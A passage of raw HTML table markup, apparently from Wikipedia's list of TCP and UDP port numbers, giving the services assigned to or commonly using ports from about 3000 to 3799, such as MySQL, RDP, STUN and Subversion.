href=\"/wiki/Wikipedia:Verifiability\" title=\"Wikipedia:Verifiability\"><span title=\"The material near this tag failed verification of its source citation(s). (August 2016)\">failed verification</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Resilio_Sync\" title=\"Resilio Sync\">Resilio Sync</a>,<sup id=\"cite_ref-getsync-kb-204754759_180-0\" class=\"reference\"><a href=\"#cite_note-getsync-kb-204754759-180\">&#91;178&#93;</a></sup> spun from BitTorrent Sync.\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Create React App, script to create single-page <a href=\"/wiki/React_(JavaScript_library)\" title=\"React (JavaScript library)\">React</a> applications<sup id=\"cite_ref-181\" class=\"reference\"><a href=\"#cite_note-181\">&#91;179&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Gogs (self-hosted GIT service) <sup id=\"cite_ref-182\" class=\"reference\"><a href=\"#cite_note-182\">&#91;180&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Grafana\" title=\"Grafana\">Grafana</a><sup id=\"cite_ref-183\" class=\"reference\"><a href=\"#cite_note-183\">&#91;181&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3001</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Honeywell Prowatch<sup id=\"cite_ref-184\" class=\"reference\"><a href=\"#cite_note-184\">&#91;182&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3004</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ISync\" class=\"mw-redirect\" title=\"ISync\">iSync</a><sup id=\"cite_ref-apple-kb-HT202944_11-48\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3010</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>KWS Connector\n</td></tr>\n<tr>\n<td>3020</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Common_Internet_File_System\" class=\"mw-redirect\" title=\"Common Internet File System\">Common Internet File System</a> (CIFS). See also port 445 for <a href=\"/wiki/Server_Message_Block\" title=\"Server Message Block\">Server Message Block</a> (SMB), a dialect of CIFS.\n</td></tr>\n<tr>\n<td>3050</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>gds-db (<a href=\"/wiki/Interbase\" class=\"mw-redirect\" title=\"Interbase\">Interbase</a>/<a href=\"/wiki/Firebird_(database_server)\" title=\"Firebird (database server)\">Firebird</a> databases)\n</td></tr>\n<tr>\n<td>3052</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/APC_by_Schneider_Electric\" title=\"APC by Schneider Electric\">APC</a> <a href=\"/wiki/PowerChute\" class=\"mw-redirect\" title=\"PowerChute\">PowerChute Network</a>\n</td></tr>\n<tr>\n<td>3074</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Xbox LIVE and <a href=\"/wiki/Games_for_Windows_%E2%80%93_Live\" title=\"Games for Windows – Live\">Games for Windows – Live</a>\n</td></tr>\n<tr>\n<td>3101</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BlackBerry_Enterprise_Server\" class=\"mw-redirect\" title=\"BlackBerry Enterprise Server\">BlackBerry Enterprise Server</a> communication protocol<sup id=\"cite_ref-blkbr-kb-3735_185-0\" class=\"reference\"><a href=\"#cite_note-blkbr-kb-3735-185\">&#91;183&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3128</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Squid_(software)\" title=\"Squid (software)\">Squid</a> caching web proxy<sup id=\"cite_ref-squid-doc-http_port_186-0\" class=\"reference\"><a href=\"#cite_note-squid-doc-http_port-186\">&#91;184&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3225</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Fibre_Channel_over_IP\" title=\"Fibre Channel over IP\">Fibre Channel over IP</a> (FCIP)\n</td></tr>\n<tr>\n<td>3233</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WhiskerControl\" title=\"WhiskerControl\">WhiskerControl</a> research control protocol\n</td></tr>\n<tr>\n<td>3260</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ISCSI\" title=\"ISCSI\">iSCSI</a>\n</td></tr>\n<tr>\n<td>3268</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>msft-gc, Microsoft Global Catalog (<a href=\"/wiki/LDAP\" class=\"mw-redirect\" title=\"LDAP\">LDAP</a> service which contains data from <a href=\"/wiki/Active_Directory\" title=\"Active Directory\">Active Directory</a> forests)\n</td></tr>\n<tr>\n<td>3269</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>msft-gc-ssl, Microsoft Global Catalog over <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a> (similar to port 3268, <a href=\"/wiki/LDAP\" class=\"mw-redirect\" title=\"LDAP\">LDAP</a> over <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a>)\n</td></tr>\n<tr>\n<td rowspan=\"2\">3283\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><i>Net Assistant</i>,<sup id=\"cite_ref-apple-kb-HT202944_11-49\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> a predecessor to <i>Apple Remote Desktop</i>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apple_Remote_Desktop\" title=\"Apple Remote Desktop\">Apple Remote Desktop</a> 2.0 or later<sup id=\"cite_ref-apple-kb-HT202944_11-50\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3290</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VATSIM\" class=\"mw-redirect\" title=\"VATSIM\">Virtual Air Traffic Simulation</a> (VATSIM) network voice communication<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>3305</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OFTP\" title=\"OFTP\">Odette File Transfer Protocol</a> (OFTP)\n</td></tr>\n<tr>\n<td>3306</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MySQL\" title=\"MySQL\">MySQL</a> database system<sup id=\"cite_ref-apple-kb-HT202944_11-51\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3323</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DECE\" class=\"mw-redirect\" title=\"DECE\">DECE</a> GEODI Server\n</td></tr>\n<tr>\n<td>3332</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Thundercloud DataPath Overlay Control\n</td></tr>\n<tr>\n<td rowspan=\"4\">3333\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Eggdrop\" title=\"Eggdrop\">Eggdrop</a>, an IRC bot default port<sup id=\"cite_ref-187\" class=\"reference\"><a href=\"#cite_note-187\">&#91;185&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Network_Caller_ID\" title=\"Network Caller ID\">Network Caller ID</a> server\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/CruiseControl.rb\" class=\"mw-redirect\" title=\"CruiseControl.rb\">CruiseControl.rb</a><sup id=\"cite_ref-188\" class=\"reference\"><a href=\"#cite_note-188\">&#91;186&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>OpenOCD (<a href=\"/wiki/Gdbserver\" title=\"Gdbserver\">gdbserver</a>)<sup id=\"cite_ref-openocd_189-0\" class=\"reference\"><a href=\"#cite_note-openocd-189\">&#91;187&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3351</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Pervasive_PSQL\" title=\"Pervasive PSQL\">Pervasive PSQL</a><sup id=\"cite_ref-PSQLVx_SP3_readme_141-1\" class=\"reference\"><a href=\"#cite_note-PSQLVx_SP3_readme-141\">&#91;139&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3386</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/GTP%27\" title=\"GTP&#39;\">GTP'</a> <a href=\"/wiki/3GPP\" title=\"3GPP\">3GPP</a> <a href=\"/wiki/GSM\" title=\"GSM\">GSM</a>/<a href=\"/wiki/UMTS\" title=\"UMTS\">UMTS</a> <a href=\"/wiki/Call_detail_record\" title=\"Call detail record\">CDR</a> logging protocol\n</td></tr>\n<tr>\n<td>3389</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Terminal_Server\" class=\"mw-redirect\" title=\"Microsoft Terminal Server\">Microsoft Terminal Server</a> (<a href=\"/wiki/Remote_Desktop_Protocol\" title=\"Remote Desktop Protocol\">RDP</a>) officially registered as Windows Based Terminal (WBT)<sup id=\"cite_ref-190\" class=\"reference\"><a href=\"#cite_note-190\">&#91;188&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3396</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Novell\" title=\"Novell\">Novell</a> NDPS Printer Agent\n</td></tr>\n<tr>\n<td>3412</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>xmlBlaster\n</td></tr>\n<tr>\n<td>3423</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Xware xTrm Communication Protocol\n</td></tr>\n<tr>\n<td>3424</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Xware xTrm Communication Protocol over SSL\n</td></tr>\n<tr>\n<td>3435</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Pacom Security User Port\n</td></tr>\n<tr>\n<td>3455</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Resource_Reservation_Protocol\" title=\"Resource Reservation Protocol\">Resource Reservation Protocol</a> (RSVP)\n</td></tr>\n<tr>\n<td rowspan=\"3\">3478\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/STUN\" title=\"STUN\">STUN</a>, a protocol for NAT traversal<sup id=\"cite_ref-STUN_191-0\" class=\"reference\"><a href=\"#cite_note-STUN-191\">&#91;189&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Traversal_Using_Relay_NAT\" class=\"mw-redirect\" title=\"Traversal Using Relay NAT\">TURN</a>, a protocol for NAT traversal<sup id=\"cite_ref-TURN_192-0\" class=\"reference\"><a href=\"#cite_note-TURN-192\">&#91;190&#93;</a></sup> (extension to STUN)\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>STUN Behavior Discovery.<sup id=\"cite_ref-rfc5780_193-0\" class=\"reference\"><a href=\"#cite_note-rfc5780-193\">&#91;191&#93;</a></sup> See also port 5349.\n</td></tr>\n<tr>\n<td>3479</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PlayStation_Network\" title=\"PlayStation Network\">PlayStation Network</a><sup id=\"cite_ref-playstation-manual-ps4-nw_test_194-0\" class=\"reference\"><a href=\"#cite_note-playstation-manual-ps4-nw_test-194\">&#91;192&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3480</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>PlayStation Network<sup id=\"cite_ref-playstation-manual-ps4-nw_test_194-1\" class=\"reference\"><a href=\"#cite_note-playstation-manual-ps4-nw_test-194\">&#91;192&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">3483\n</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Slim_Devices\" title=\"Slim Devices\">Slim Devices</a> discovery protocol\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Slim_Devices\" title=\"Slim Devices\">Slim Devices</a> SlimProto protocol\n</td></tr>\n<tr>\n<td>3493</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Network_UPS_Tools\" title=\"Network UPS Tools\">Network UPS Tools</a> (NUT)\n</td></tr>\n<tr>\n<td>3503</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>MPLS LSP-echo Port\n</td></tr>\n<tr>\n<td>3516</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Smartcard Port\n</td></tr>\n<tr>\n<td>3527</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Message_Queuing\" title=\"Microsoft Message Queuing\">Microsoft Message Queuing</a>\n</td></tr>\n<tr>\n<td>3535</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SMTP\" class=\"mw-redirect\" title=\"SMTP\">SMTP</a> alternate<sup id=\"cite_ref-195\" class=\"reference\"><a href=\"#cite_note-195\">&#91;193&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3544</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Teredo_tunneling\" title=\"Teredo tunneling\">Teredo tunneling</a>\n</td></tr>\n<tr>\n<td>3551</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Apcupsd Information Port <sup id=\"cite_ref-196\" class=\"reference\"><a href=\"#cite_note-196\">&#91;194&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3601</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SAP\" title=\"SAP\">SAP</a> Message Server Port<sup id=\"cite_ref-197\" class=\"reference\"><a href=\"#cite_note-197\">&#91;195&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3632</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Distcc\" title=\"Distcc\">Distcc</a>, distributed compiler<sup id=\"cite_ref-apple-kb-HT202944_11-52\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3645</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Cyc\" title=\"Cyc\">Cyc</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">3659\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Apple <a href=\"/wiki/Simple_Authentication_and_Security_Layer\" title=\"Simple Authentication and Security Layer\">SASL</a>, used by <a href=\"/wiki/MacOS_Server\" title=\"MacOS Server\">macOS Server</a> Password Server<sup id=\"cite_ref-apple-kb-HT202944_11-53\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Battlefield 4\n</td></tr>\n<tr>\n<td>3667</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Information Exchange\n</td></tr>\n<tr>\n<td>3671</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>KNXnet/IP(EIBnet/IP)\n</td></tr>\n<tr>\n<td>3689</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Digital_Audio_Access_Protocol\" title=\"Digital Audio Access Protocol\">Digital Audio Access Protocol</a> (DAAP), used by <a href=\"/wiki/Apple_Inc.\" title=\"Apple Inc.\">Apple's</a> <a href=\"/wiki/ITunes\" title=\"ITunes\">iTunes</a> and <a href=\"/wiki/AirPlay\" title=\"AirPlay\">AirPlay</a><sup id=\"cite_ref-apple-kb-HT202944_11-54\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3690</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Subversion_(software)\" class=\"mw-redirect\" title=\"Subversion (software)\">Subversion (SVN)</a><sup id=\"cite_ref-apple-kb-HT202944_11-55\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> version control system\n</td></tr>\n<tr>\n<td>3702</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Web_Services_Dynamic_Discovery\" class=\"mw-redirect\" title=\"Web Services Dynamic Discovery\">Web Services Dynamic Discovery</a> (WS-Discovery), used by various components of <a href=\"/wiki/Windows_Vista\" title=\"Windows Vista\">Windows Vista</a> and later\n</td></tr>\n<tr>\n<td rowspan=\"2\">3724\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Some <a href=\"/wiki/Blizzard_Entertainment\" title=\"Blizzard Entertainment\">Blizzard</a> games<sup id=\"cite_ref-blizzard_126-1\" class=\"reference\"><a href=\"#cite_note-blizzard-126\">&#91;124&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Club_Penguin\" title=\"Club Penguin\">Club Penguin</a> Disney online game for kids\n</td></tr>\n<tr>\n<td>3725</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Netia NA-ER Port\n</td></tr>\n<tr>\n<td>3749</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a rel=\"nofollow\" class=\"external text\" href=\"https://www.cimcor.com/cimtrak/\">CimTrak</a> registered port\n</td></tr>\n<tr>\n<td>3768</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>RBLcheckd server daemon\n</td></tr>\n<tr>\n<td>3784</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Bidirectional Forwarding Detection (BFD)for IPv4 and IPv6 (Single Hop) (RFC 5881)\n</td></tr>\n<tr>\n<td>3785</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>VoIP program used by <a href=\"/wiki/Ventrilo\" title=\"Ventrilo\">Ventrilo</a>\n</td></tr>\n<tr>\n<td>3799</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" 